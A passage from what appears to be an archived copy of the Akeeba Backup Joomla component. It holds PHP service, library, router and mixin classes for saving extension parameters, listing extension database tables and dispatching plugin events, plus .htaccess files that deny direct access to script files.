			}

			/**
			 * Call Joomla's cache cleaning plugin event (e.g. onContentCleanCache) as well.
			 *
			 * @see BaseDatabaseModel::cleanCache()
			 */
			if (empty($cacheCleaningEvent))
			{
				continue;
			}

			$this->triggerPluginEvent($cacheCleaningEvent, $options);
		}
	}
}PK     \
y  y  #  src/Service/ComponentParameters.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Service
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Service;

defined('_JEXEC') || die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;
use ReflectionClass;

class ComponentParameters
{
	/**
	 * The Cache Cleaner service
	 *
	 * @var   CacheCleaner
	 * @since 9.4.0
	 */
	private $cacheCleanerService;

	/**
	 * Default extension to save parameters to
	 *
	 * @var   string
	 * @since 9.4.0
	 */
	private $defaultExtension;

	public function __construct(CacheCleaner $cacheCleanerService, string $defaultExtension)
	{
		$this->cacheCleanerService = $cacheCleanerService;
		$this->defaultExtension    = $defaultExtension;
	}

	public function save(Registry $params, ?string $extension = null): void
	{
		$criteria = $this->extensionNameToCriteria($extension ?? $this->defaultExtension);

		if (empty($criteria))
		{
			return;
		}

		/** @var DatabaseDriver $db */
		$db   = JoomlaFactory::getContainer()->get(DatabaseInterface::class);
		$data = $params->toString('JSON');

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($data))
			->where($db->qn('element') . ' = :element')
			->where($db->qn('type') . ' = :type')
			->bind(':element', $criteria['element'], ParameterType::STRING)
			->bind(':type', $criteria['type'], ParameterType::STRING);

		if (isset($criteria['folder']) && !empty($criteria['folder']))
		{
			$query->where($db->quoteName('folder') . ' = :folder')
				->bind(':folder', $criteria['folder'], ParameterType::STRING);
		}

		$db->setQuery($query);

		try
		{
			$db->execute();

			/**
			 * The component parameters are cached. We just changed them. Therefore, we MUST reset the system
			 * cache which holds them.
			 */
			$this->cacheCleanerService->clearGroups(['_system']);
		}
		catch (\Exception $e)
		{
			// Don't sweat if it fails
		}

		// Reset ComponentHelper's cache
		if ($criteria['type'] === 'component')
		{
			$refClass = new ReflectionClass(ComponentHelper::class);
			$refProp  = $refClass->getProperty('components');

			if (version_compare(PHP_VERSION, '8.1.0', 'lt'))
			{
				$refProp->setAccessible(true);
			}

			if (version_compare(PHP_VERSION, '8.3.0', 'ge'))
			{
				$components = $refClass->getStaticPropertyValue('components');
			}
			else
			{
				$components = $refProp->getValue();
			}

			$components[$criteria['element']]->params = $params;

			if (version_compare(PHP_VERSION, '8.3.0', 'ge'))
			{
				$refClass->setStaticPropertyValue('components', $components);
			}
			else
			{
				$refProp->setValue($components);
			}
		}
		elseif ($criteria['type'] === 'plugin')
		{
			$refClass = new ReflectionClass(PluginHelper::class);
			$refProp  = $refClass->getProperty('plugins');

			if (version_compare(PHP_VERSION, '8.1.0', 'lt'))
			{
				$refProp->setAccessible(true);
			}

			if (version_compare(PHP_VERSION, '8.3.0', 'ge'))
			{
				$plugins = $refClass->getStaticPropertyValue('plugins');
			}
			else
			{
				$plugins = $refProp->getValue();
			}

			foreach ($plugins as $plugin)
			{
				if ($plugin->type === $criteria['folder'] && $plugin->name === $criteria['element'])
				{
					$plugin->params = $params->toString('JSON');
				}
			}

			if (version_compare(PHP_VERSION, '8.3.0', 'ge'))
			{
				$refClass->setStaticPropertyValue('plugins', $plugins);
			}
			else
			{
				$refProp->setValue($plugins);
			}
		}
	}

	/**
	 * Convert a Joomla extension name to `#__extensions` table query criteria.
	 *
	 * The following kinds of extensions are supported:
	 * * `pkg_something` Package type extension
	 * * `com_something` Component
	 * * `plg_folder_something` Plugins
	 * * `mod_something` Site modules
	 * * `amod_something` Administrator modules. THIS IS CUSTOM.
	 * * `file_something` File type extension
	 * * `lib_something` Library type extension
	 *
	 * @param   string  $extensionName
	 *
	 * @return  string[]
	 * @since   9.4.0
	 */
	private function extensionNameToCriteria(string $extensionName): array
	{
		$parts = explode('_', $extensionName, 3);

		switch ($parts[0])
		{
			case 'pkg':
				return [
					'type'    => 'package',
					'element' => $extensionName,
				];

			case 'com':
				return [
					'type'    => 'component',
					'element' => $extensionName,
				];

			case 'plg':
				return [
					'type'    => 'plugin',
					'folder'  => $parts[1],
					'element' => $parts[2],
				];

			case 'mod':
				return [
					'type'      => 'module',
					'element'   => $extensionName,
					'client_id' => 0,
				];

			// That's how we note admin modules
			case 'amod':
				return [
					'type'      => 'module',
					'element'   => substr($extensionName, 1),
					'client_id' => 1,
				];

			case 'file':
				return [
					'type'    => 'file',
					'element' => $extensionName,
				];

			case 'lib':
				return [
					'type'    => 'library',
					'element' => $parts[1],
				];
		}

		return [];
	}
}PK     \0*  *  !  src/Service/Html/AkeebaBackup.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Service\Html;

defined('_JEXEC') || die;

class AkeebaBackup
{

}PK     \Sʉ        src/Service/Html/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        src/Service/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \[c)  c)  "  src/Library/ExtensionForTables.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Library;

defined('_JEXEC') || die;

use Akeeba\Engine\Driver\Base as EngineDBDriver;
use Akeeba\Engine\Driver\Query\Base as AbstractEngineQuery;
use Akeeba\Engine\Driver\QueryException;
use Dflydev\DotAccessData\DataInterface;
use Joomla\Component\Installer\Administrator\Helper\InstallerHelper;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\QueryInterface;
use Joomla\Filesystem\Folder;
use PHPSQLParser\PHPSQLParser;
use SimpleXMLElement;

/**
 * An abstraction for a Joomla extension allowing us to get a list of its installed tables.
 *
 * This is based on our work in Akeeba Onthos.
 *
 * @since  10.1.0
 */
final class ExtensionForTables
{
	/**
	 * Extension type (component, plugin, module, template, package, ...)
	 *
	 * @var   string
	 * @since 10.1.0
	 */
	private string $type;

	/**
	 * Extension element
	 *
	 * @var   string
	 * @since 10.1.0
	 */
	private string $element;

	/**
	 * Extension folder (for plugins)
	 *
	 * @var   string|null
	 * @since 10.1.0
	 */
	private ?string $folder;

	/**
	 * Extension client application (for plugins, templates, modules)
	 *
	 * @var   int
	 * @since 10.1.0
	 */
	private int $client_id;

	/**
	 * Possible tables which need checking.
	 *
	 * @var   array
	 * @since 10.1.0
	 */
	private array $tables = [];

	/**
	 * SQL files already checked.
	 *
	 * @var   array
	 * @since 10.1.0
	 */
	private array $checkedFiles = [];

	/**
	 * Construct an extension object given an `#__extensions` row.
	 *
	 * @param   object  $extensionRow  The extensions table row in object format
	 *
	 * @since   10.1.0
	 */
	public function __construct(object $extensionRow)
	{
		$this->type      = $extensionRow->type ?? 'invalid';
		$this->element   = $extensionRow->element ?? '';
		$this->folder    = $extensionRow->folder ?? '';
		$this->client_id = $extensionRow->client_id ?? 0;

		$this->init();
	}

	/**
	 * Returns a Generator to iterate through all installed extensions.
	 *
	 * @param   EngineDBDriver|DatabaseDriver|DataInterface  $db  The site's database object.
	 *
	 * @since   10.1.0
	 */
	public static function allExtensions($db)
	{
		try
		{
			/** @var QueryInterface|AbstractEngineQuery $query */
			$query = method_exists($db, 'createQuery') ? $db->createQuery(true) : $db->getQuery(true);
			$query->select([
				$db->quoteName('type'),
				$db->quoteName('element'),
				$db->quoteName('folder'),
				$db->quoteName('client_id'),
			])
				->from($db->quoteName('#__extensions'));

			$extensions = $db->setQuery($query)->loadObjectList() ?: [];

			if (empty($extensions))
			{
				return;
			}
		}
		catch (QueryException $e)
		{
			return;
		}

		foreach ($extensions as $extension)
		{
			yield new self($extension);
		}
	}

	/**
	 * Returns the tables installed by any and all extensions on this site.
	 *
	 * The list is made unique and alpha-sorted to make troubleshooting easy :)
	 *
	 * @param   EngineDBDriver|DatabaseDriver|DataInterface  $db  The site's database object.
	 *
	 * @since   10.1.0
	 */
	public static function allTables($db): array
	{
		$allTables = [];

		foreach (self::allExtensions($db) as $extension)
		{
			$moreTables = $extension->getTables();

			if (empty($moreTables))
			{
				continue;
			}

			$allTables = array_merge($allTables, $moreTables);
		}

		$allTables = array_unique($allTables);
		asort($allTables);

		return $allTables;
	}

	/**
	 * Get possible database tables which may have been installed by the extension.
	 *
	 * @return  array
	 * @since   10.1.0
	 */
	public function getTables(): array
	{
		return $this->tables;
	}

	/**
	 * Initialise the internal variables. Called from __construct().
	 *
	 * @return  void
	 * @since   10.1.0
	 */
	private function init(): void
	{
		if (empty($this->element ?? null) || $this->element === 'com_admin')
		{
			return;
		}

		// Use the default SQL files to populate the tables
		$this->populateTablesFromDefaultDirectory();

		// Discover the manifest
		try
		{
			$xml = InstallerHelper::getInstallationXML($this->element, $this->type, $this->client_id, $this->folder);

			if (!$xml instanceof SimpleXMLElement)
			{
				return;
			}

			if (strtolower($this->getXMLAttribute($xml, 'type')) !== strtolower($this->type))
			{
				return;
			}
		}
		catch (\Throwable $e)
		{
			return;
		}

		// Populate the tables from the manifest
		$this->populateTablesFromManifest($xml);
	}

	/**
	 * Get the value of a named attribute, given the XML node it appears in.
	 *
	 * This is used when parsing the XML manifests.
	 *
	 * @param   SimpleXMLElement  $node     The XML node, as a SimpleXMLElement.
	 * @param   string            $name     The name of the attribute to retrieve the value of.
	 * @param   string|null       $default  The default value to return if the attribute is missing.
	 *
	 * @return  string|null  The attribute value.
	 * @since   10.1.0
	 */
	private function getXMLAttribute(SimpleXMLElement $node, string $name, ?string $default = null): ?string
	{
		$attributes = $node->attributes();

		if (isset($attributes[$name]))
		{
			return (string) $attributes[$name];
		}

		return $default;
	}

	/**
	 * Populates the extension tables using the Joomla! hardcoded default `sql` directory.
	 *
	 * This DOES NOT read the manifest. It assumes the extension has a directory named `sql` under its main extension
	 * directory (for components it's the extension's admin directory) which has .sql files inside it in some sort of
	 * directory structure. This default is hardcoded in Joomla's Database Fix code where it looks for SQL update files
	 * under the extension's `sql/updates` folder. We are being slightly more flexible here.
	 *
	 * This is meant to be a quick and dirty way to identify extension tables if the manifest is missing or corrupt. It
	 * is not meant as the only, or even preferred, method.
	 *
	 * @return  void
	 * @since   10.1.0
	 * @see     self::populateTablesFromManifest
	 */
	private function populateTablesFromDefaultDirectory(): void
	{
		if ($this->type === 'component')
		{
			$basePath = JPATH_ADMINISTRATOR . '/components/' . $this->element;
		}
		elseif ($this->type === 'plugin')
		{
			$basePath = JPATH_PLUGINS . '/' . $this->folder . '/' . $this->element;
		}
		elseif ($this->type === 'module')
		{
			if ($this->client_id == 1)
			{
				$basePath = JPATH_ADMINISTRATOR . '/modules/' . $this->element;
			}
			elseif ($this->client_id == 0)
			{
				$basePath = JPATH_SITE . '/modules/' . $this->element;
			}
			else
			{
				// Cannot process modules with an invalid client ID.
				return;
			}
		}
		elseif ($this->type === 'file' && $this->element === 'com_admin')
		{
			// Specific bodge for the Joomla CMS special database check which points to com_admin
			$basePath = JPATH_ADMINISTRATOR . '/components/' . $this->element;
		}
		else
		{
			// Unknown extension type, or other type (e.g. library, files etc) which don't have known SQL paths
			return;
		}

		if (!@is_dir($basePath . '/sql'))
		{
			return;
		}

		/**
		 * The /sql subdirectory as the default schema location is a hardcoded default in Joomla.
		 *
		 * @see \Joomla\Component\Installer\Administrator\Model\DatabaseModel::fetchSchemaCache
		 */
		$sqlFiles = Folder::files($basePath . '/sql', '\.sql$', true, true) ?: [];

		foreach ($sqlFiles as $sqlFile)
		{
			try
			{
				$this->populateTablesFromSQLFile($sqlFile);
			}
			catch (\Throwable $e)
			{
				// It's not the end of the world. Keep going.
			}
		}

		$this->tables = array_unique($this->tables);
	}

	/**
	 * Populates database tables from the SQL files specified in the extension's XML manifest file.
	 *
	 * This is the most accurate way to do this. Instead of using a hardcoded default, we examine the manifest to locate
	 * the installation SQL file, and the path to the update SQL files. We then read them, parse them, and identify the
	 * created tables.
	 *
	 * @param   SimpleXMLElement  $xml  The XML manifest.
	 *
	 * @return  void
	 * @since   10.1.0
	 */
	private function populateTablesFromManifest(SimpleXMLElement $xml): void
	{
		$sqlFiles = [];
		$basePath = JPATH_ADMINISTRATOR . '/components/' . $this->element . '/';

		foreach ($xml->xpath('/extension/install/sql/file') as $fileNode)
		{
			$driver  = $this->getXMLAttribute($fileNode, 'driver', 'mysql');
			$charset = $this->getXMLAttribute($fileNode, 'charset', 'utf8');
			$relPath = (string) $fileNode;

			if ($charset != 'utf8')
			{
				continue;
			}

			if (str_starts_with($driver, 'mysql') || str_starts_with($driver, 'postgres'))
			{
				$sqlFiles[] = $basePath . ltrim($relPath, '/');
			}
		}

		foreach ($xml->xpath('/extension/update/schemas/schemapath') as $folderNode)
		{
			$type = $this->getXMLAttribute($folderNode, 'type', 'mysql');

			if (!str_starts_with($type, 'mysql') && !str_starts_with($type, 'postgres'))
			{
				continue;
			}

			$relPath = (string) $folderNode;
			$absPath = $basePath . ltrim($relPath, '/');

			if (!is_dir($absPath))
			{
				continue;
			}

			$sqlFiles = array_merge(
				$sqlFiles, Folder::files($absPath, '\.sql$', false, true) ?: []
			);
		}

		foreach ($sqlFiles as $sqlFile)
		{
			$this->populateTablesFromSQLFile($sqlFile);
		}

		$this->tables = array_unique($this->tables);
	}

	/**
	 * Populates the list of table names from an SQL file by parsing CREATE TABLE statements.
	 *
	 * @param   mixed  $sqlFile  The file path to the SQL file to be read. Must be a readable file path.
	 *
	 * @return  void
	 * @since   10.1.0
	 */
	private function populateTablesFromSQLFile($sqlFile): void
	{
		if (in_array($sqlFile, $this->checkedFiles))
		{
			return;
		}

		$this->checkedFiles[] = $sqlFile;

		if (!@file_exists($sqlFile) || !@is_readable($sqlFile))
		{
			return;
		}

		$buffer = @file_get_contents($sqlFile);

		if ($buffer === false)
		{
			return;
		}

		foreach (DatabaseDriver::splitSql($buffer) as $statement)
		{
			if (!preg_match('/CREATE\s+TABLE/i', $statement))
			{
				continue;
			}

			try
			{
				$parser = new PHPSQLParser($statement, false);
			}
			catch (\Throwable $e)
			{
				continue;
			}

			if (!is_array($parser->parsed) || empty($parser->parsed) || !isset($parser->parsed['TABLE']))
			{
				continue;
			}

			$rawTableName = $parser->parsed['TABLE']['name'] ?? null;

			if (!is_string($rawTableName))
			{
				continue;
			}

			$tableName = trim($rawTableName, '`"[]');

			$this->tables[] = $tableName;
		}
	}
}PK     \Sʉ        src/Library/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \PGm^  ^    src/Router/RouterFactory.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Router;

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Component\Router\RouterFactoryInterface;
use Joomla\CMS\Component\Router\RouterInterface;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use RuntimeException;

class RouterFactory implements RouterFactoryInterface
{
	/**
	 * THe MVC factory object
	 *
	 * @var   MVCFactoryInterface
	 * @since 5.0.0
	 */
	private $factory;

	/**
	 * The extension's namespace
	 *
	 * @var   string
	 * @since 5.0.0
	 */
	private $namespace;

	public function __construct(string $namespace, MVCFactoryInterface $factory)
	{
		$this->namespace       = $namespace;
		$this->factory         = $factory;
	}

	/** @inheritdoc */
	public function createRouter(CMSApplicationInterface $application, AbstractMenu $menu): RouterInterface
	{
		$className = trim($this->namespace, '\\') . '\\' . ucfirst($application->getName()) . '\\Service\\Router';

		if (!class_exists($className))
		{
			throw new RuntimeException('No router available for Akeeba Backup.');
		}

		return new $className($application, $menu, $this->factory);
	}
}PK     \Sʉ        src/Router/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \    #  src/Mixin/ControllerEventsTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use RuntimeException;

trait ControllerEventsTrait
{
	use TriggerEventTrait;

	/**
	 * Execute a task by triggering a method in the derived class.
	 *
	 * Overridden to apply a custom ACL check and trigger before/after methods.
	 *
	 * @param   string  $task  The task to perform. If no matching task is found, the '__default' task is executed, if
	 *                         defined.
	 *
	 * @return  mixed   The value returned by the called method.
	 *
	 * @throws  \Exception
	 * @since   9.0.0
	 */
	public function execute($task)
	{
		$this->task = $task;

		$task = strtolower($task);

		if (!isset($this->taskMap[$task]) && !isset($this->taskMap['__default']))
		{
			throw new RuntimeException(Text::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);
		}

		// Execute onBeforeExecute and onBefore<Task> events
		$eventName = 'onBefore' . ucfirst($task);

		$this->triggerEvent('onBeforeExecute', [&$task]);
		$this->triggerEvent($eventName);

		// The task may have changed, so let's try that once again.
		if (isset($this->taskMap[$task]))
		{
			$doTask = $this->taskMap[$task];
		}
		elseif (isset($this->taskMap['__default']))
		{
			$doTask = $this->taskMap['__default'];
		}
		else
		{
			throw new RuntimeException(Text::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);
		}

		// Record the actual task being fired and execute it.
		$this->doTask = $doTask;
		$result       = $this->$doTask();

		// Execute onAfter<Task> and onAfterExecute events
		$eventName = 'onAfter' . ucfirst($task);

		$this->triggerEvent($eventName);
		$this->triggerEvent('onAfterExecute', [$task]);

		return $result;
	}

}PK     \_    +  src/Mixin/ControllerReusableModelsTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

use Exception;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\MVC\View\ViewInterface;

defined('_JEXEC') || die;

trait ControllerReusableModelsTrait
{
	static $_models = [];

	public function getModel($name = '', $prefix = '', $config = [])
	{
		if (empty($name))
		{
			$name = ucfirst($this->input->get('view', $this->default_view));
		}

		$prefix = ucfirst($prefix ?: $this->app->getName());

		$hash = hash('md5', strtolower($name . $prefix));

		if (isset(self::$_models[$hash]))
		{
			return self::$_models[$hash];
		}

		self::$_models[$hash] = parent::getModel($name, $prefix, $config);

		return self::$_models[$hash];
	}

	/**
	 * @param   string  $name
	 * @param   string  $type
	 * @param   string  $prefix
	 * @param   array   $config
	 *
	 * @return ViewInterface|HtmlView
	 * @throws Exception
	 */
	public function getView($name = '', $type = '', $prefix = '', $config = [])
	{
		$document = $this->app->getDocument();

		if (empty($name))
		{
			$name = $this->input->get('view', $this->default_view);
		}

		if (empty($type))
		{
			$type = $document->getType();
		}

		if (empty($config))
		{
			$viewLayout = $this->input->get('layout', 'default', 'string');
			$config     = ['base_path' => $this->basePath, 'layout' => $viewLayout];
		}

		$hadView = isset(self::$views)
			&& isset(self::$views[$name])
			&& isset(self::$views[$name][$type])
			&& isset(self::$views[$name][$type][$prefix])
			&& !empty(self::$views[$name][$type][$prefix]);

		$view = parent::getView($name, $type, $prefix, $config);

		if (!$hadView)
		{
			// Get/Create the model
			if ($model = $this->getModel($name, 'Administrator', ['base_path' => $this->basePath]))
			{
				// Push the model into the view (as default)
				$view->setModel($model, true);
			}

			$view->setDocument($document);
		}

		return $view;
	}
}PK     \Yr  r    src/Mixin/ViewToolbarTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') or die;

use Joomla\CMS\Toolbar\Toolbar;

trait ViewToolbarTrait
{
	protected function getToolbarCompat(): Toolbar
	{
		$document = $this->getDocument();

		// Joomla 5 and later
		if (method_exists($document, 'getToolbar'))
		{
			return $document->getToolbar();
		}

		// Joomla 4.x
		/** @noinspection PhpDeprecationInspection */
		return Toolbar::getInstance();
	}
}PK     \       src/Mixin/ModelStateFixTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Model\Mixin
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

trait ModelStateFixTrait
{
	/**
	 * Set the __state_set flag.
	 *
	 * Calling setState on a model does NOT set the __state_set flag. Next time you call getState the model will always
	 * go through populateState(). However, Joomla's default populateState for ListModel and AdminModel tries to call
	 * the getUserStateFromRequest method against the application object **without** checking if this method exists.
	 * This method does not, in fact, exist in the Console application — it only exists in the site, administrator and
	 * cli applications. As a result trying to use a model in the Console application breaks.
	 *
	 * The solution is this one–line method which sets the __state_set flag, preventing Joomla from sabotaging itself.
	 *
	 * The funny thing is that this problem did not occur on Joomla 4.0 and earlier. Well done, guys, you've broken
	 * Joomla yet again by not stopping to think that there's more to Joomla than the HTML applications. Nothing says
	 * “world–class maintenance team” than silly blunders like this.
	 *
	 * @param   bool  $flag  The state of the __state_set flag to apply. Default: true.
	 *
	 * @return  void
	 * @since   9.3.0
	 */
	public function setStateSetFlag(bool $flag = true): void
	{
		$this->__state_set = $flag;
	}
}PK     \m    #  src/Mixin/ViewListLimitFixTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Joomla\CMS\MVC\Model\ListModel;

trait ViewListLimitFixTrait
{
	public function fixListLimitPastTotal(ListModel $model, ?callable $getTotal = null): void
	{
		$start = $model->getState('list.start');
		$limit = $model->getState('list.limit', 10);
		$total = call_user_func($getTotal ?? fn() => $model->getTotal());

		if ($start >= $total)
		{
			$pages = $limit > 0 ? ceil($total / $limit) : 1;
			$start = max(0, $limit * ($pages - 1));

			$model->setState('list.start', $start);
		}

	}
}PK     \cg])  ])    src/Mixin/RunPluginsTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Event\Application\AfterInitialiseDocumentEvent;
use Joomla\CMS\Event\Application\DaemonForkEvent;
use Joomla\CMS\Event\Application\DaemonReceiveSignalEvent;
use Joomla\CMS\Event\Captcha\CaptchaSetupEvent;
use Joomla\CMS\Event\CoreEventAware;
use Joomla\CMS\Event\Editor\EditorButtonsSetupEvent;
use Joomla\CMS\Event\Editor\EditorSetupEvent;
use Joomla\CMS\Event\Model\AfterCleanCacheEvent;
use Joomla\CMS\Event\MultiFactor\BeforeDisplayMethods;
use Joomla\CMS\Event\MultiFactor\Callback;
use Joomla\CMS\Event\MultiFactor\Captive;
use Joomla\CMS\Event\MultiFactor\GetMethod;
use Joomla\CMS\Event\MultiFactor\GetSetup;
use Joomla\CMS\Event\MultiFactor\NotifyActionLog;
use Joomla\CMS\Event\MultiFactor\SaveSetup;
use Joomla\CMS\Event\MultiFactor\Validate;
use Joomla\CMS\Event\WebAsset\WebAssetRegistryAssetChanged;
use Joomla\CMS\Factory;
use Joomla\CMS\Log\Log;
use Joomla\Event\DispatcherAwareInterface;
use Joomla\Event\DispatcherInterface;
use Joomla\Event\Event;
use Psr\Log\LogLevel;

/**
 * A trait to easily run plugin events.
 *
 * This trait builds on my work in the Joomla! core itself. The trait has both static and non-static methods.
 *
 * @copyright Copyright (C) 2023 Akeeba Ltd
 * @license   GPL3
 * @since     2023.08.25
 */
trait RunPluginsTrait
{
	use CoreEventAware;

	/**
	 * Custom event mapping for extension-specific plugin events.
	 *
	 * @var   array
	 * @since 2023.08.25
	 */
	protected static array $akeebaRunPluginsCustomMap = [];

	/**
	 * Get the concrete event class name for the given event name.
	 *
	 * This method falls back to the generic Joomla\Event\Event class if the event name is unknown to this trait.
	 *
	 * @param   string  $eventName  The event name
	 *
	 * @return  string The event class name
	 * @since   2023.08.25
	 * @internal
	 */
	protected static function getEventClassByEventNameAugmentedByAkeeba(string $eventName): string
	{
		/**
		 * Our event map has three sources:
		 *
		 * 1. The $akeebaRunPluginsCustomMap static variable for extension-specific events
		 * 2. Our hotfix for core events missing from Joomla's CoreEventAware trait
		 * 3. Joomla's CoreEventAware trait itself (the $eventNameToConcreteClass static variable)
		 *
		 * This allows us to gracefully extend the scope of the core Joomla CoreEventAware trait which I had contributed
		 * a few years ago, and the upkeep of which appears to be hit-and-miss by the core mainteners.
		 */
		$eventMap = array_merge(
			self::$akeebaRunPluginsCustomMap,
			[
				// Application
				'onAfterInitialiseDocument'                            => AfterInitialiseDocumentEvent::class,
				'onFork'                                               => DaemonForkEvent::class,
				'onReceiveSignal'                                      => DaemonReceiveSignalEvent::class,

				// CAPTCHA
				'onCaptchaSetup'                                       => CaptchaSetupEvent::class,

				// Editors
				'onEditorButtonsSetup'                                 => EditorButtonsSetupEvent::class,
				'onEditorSetup'                                        => EditorSetupEvent::class,

				// Cache clean
				'onContentCleanCache'                                  => AfterCleanCacheEvent::class,

				// MFA
				'onUserMultifactorBeforeDisplayMethods'                => BeforeDisplayMethods::class,
				'onUserMultifactorCallback'                            => Callback::class,
				'onUserMultifactorCaptive'                             => Captive::class,
				'onUserMultifactorGetMethod'                           => GetMethod::class,
				'onUserMultifactorGetSetup'                            => GetSetup::class,
				'onComUsersViewMethodsAfterDisplay'                    => NotifyActionLog::class,
				'onComUsersCaptiveShowCaptive'                         => NotifyActionLog::class,
				'onComUsersCaptiveShowSelect'                          => NotifyActionLog::class,
				'onComUsersCaptiveValidateFailed'                      => NotifyActionLog::class,
				'onComUsersCaptiveValidateInvalidMethod'               => NotifyActionLog::class,
				'onComUsersCaptiveValidateTryLimitReached'             => NotifyActionLog::class,
				'onComUsersCaptiveValidateSuccess'                     => NotifyActionLog::class,
				'onComUsersControllerMethodAfterRegenerateBackupCodes' => NotifyActionLog::class,
				'onComUsersControllerMethodBeforeAdd'                  => NotifyActionLog::class,
				'onComUsersControllerMethodBeforeDelete'               => NotifyActionLog::class,
				'onComUsersControllerMethodBeforeEdit'                 => NotifyActionLog::class,
				'onComUsersControllerMethodBeforeSave'                 => NotifyActionLog::class,
				'onComUsersControllerMethodsBeforeDisable'             => NotifyActionLog::class,
				'onComUsersControllerMethodsBeforeDoNotShowThisAgain'  => NotifyActionLog::class,
				'onUserMultifactorSaveSetup'                           => SaveSetup::class,
				'onUserMultifactorValidate'                            => Validate::class,

				// Web Asset Manager
				'onWebAssetRegistryChangedAsset'                       => WebAssetRegistryAssetChanged::class,

			],
			self::$eventNameToConcreteClass
		);

		if (!isset($eventMap[$eventName]))
		{
			return Event::class;
		}

		$class = $eventMap[$eventName];

		if (class_exists($class))
		{
			return $class;
		}

		return Event::class;
	}

	/**
	 * Execute a plugin event and return its results. Static version, to be used by Helpers.
	 *
	 * @param   string       $event               The event name
	 * @param   array        $arguments           The event arguments
	 * @param   string|null  $className           The concrete event's class name; null to have Joomla auto-detect it.
